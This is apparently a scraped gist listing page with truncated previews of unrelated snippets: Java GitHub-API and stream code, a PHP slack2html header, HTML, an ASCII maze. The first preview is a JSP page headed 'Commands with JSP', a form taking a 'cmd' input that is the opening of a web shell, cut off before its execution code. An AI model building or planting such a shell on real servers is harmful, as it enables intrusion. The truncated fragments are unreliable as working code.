This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<%@ page import="java.util.*,java.io.*"%> | |
<% | |
%> | |
<HTML><BODY> | |
Commands with JSP | |
<FORM METHOD="GET" NAME="myform" ACTION=""> | |
<INPUT TYPE="text" NAME="cmd"> | |
<INPUT TYPE="submit" VALUE="Send"> | |
</FORM> | |
<pre> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
///////////////////// | |
// slack2html | |
// by @levelsio | |
///////////////////// | |
// | |
///////////////////// | |
// WHAT DOES THIS DO? | |
///////////////////// | |
// |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
GitHub github = GitHub.connectAnonymously(); | |
GHRepository repository = github.getRepository("sass/node-sass"); | |
PagedIterable<GHRelease> listReleases = repository.listReleases(); | |
for(GHRelease release : listReleases.asList()) { | |
List<GHAsset> assets = release.getAssets(); | |
for(GHAsset asset : assets.subList(0, 10)) { | |
System.out.println(asset.getLabel()); | |
System.out.println(asset.getName()); | |
System.out.println(asset.getBrowserDownloadUrl()); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
LocalDate now = LocalDate.now(); | |
persons.stream() | |
.filter(Person::isMale) | |
.filter(p -> p.isAdult(now) | |
.map(p -> p.getFirstName() + " " + p.getLastName()) | |
.collect(Collectors.toList()); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!doctype html> | |
<html> | |
<head> | |
<title></title> | |
<style> | |
body { | |
background: white; | |
text-align: center; | |
padding: 20px; | |
font-family: Georgia, serif; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.concurrent.LinkedBlockingQueue; | |
import java.util.concurrent.RejectedExecutionException; | |
import java.util.concurrent.Semaphore; | |
import java.util.concurrent.ThreadPoolExecutor; | |
import java.util.concurrent.TimeUnit; | |
import org.slf4j.Logger; | |
import org.slf4j.LoggerFactory; | |
/** |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
map1 | |
* | |
*X* | |
*X * | |
S**** X ***E | |
X | |
X | |